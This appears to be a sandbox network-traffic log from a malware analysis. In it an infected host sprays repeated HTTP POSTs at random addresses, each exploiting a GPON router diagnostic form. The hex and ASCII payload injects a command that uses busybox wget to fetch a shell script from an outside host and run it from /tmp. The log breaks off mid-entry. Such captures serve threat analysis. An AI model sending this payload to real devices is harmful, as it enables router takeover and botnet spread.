Mar 21, 2024 05:23:17.713918924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1214	192.168.2.13	33584	109.199.104.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713947058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1215	192.168.2.13	51550	118.146.104.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713977098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1216	192.168.2.13	40398	109.204.144.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714023113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1217	192.168.2.13	36256	5.8.244.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714027882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1218	192.168.2.13	58396	42.112.41.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714060068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1219	192.168.2.13	48758	118.43.134.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714082003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1220	192.168.2.13	51214	109.252.0.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714102030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1221	192.168.2.13	41190	42.49.177.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714128971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1222	192.168.2.13	54378	5.56.227.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714137077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1223	192.168.2.13	38790	42.46.47.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714180946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1224	192.168.2.13	59792	212.71.166.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714184046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1225	192.168.2.13	38138	42.115.113.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714210033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1226	192.168.2.13	51762	42.81.70.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714232922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1227	192.168.2.13	56150	212.130.163.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714250088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.13	50776	118.231.47.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714277029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1229	192.168.2.13	52480	42.103.75.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714335918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.13	42536	118.240.177.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714337111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.13	32870	5.174.163.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714358091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.13	33322	42.174.218.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714364052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.13	36714	212.33.181.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714395046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.13	55936	5.255.0.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714411020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.13	55038	109.251.228.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714440107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.13	49640	109.200.36.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714478016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.13	43354	109.193.177.34	443

Timestamp	Bytes transferred	Direction	Data
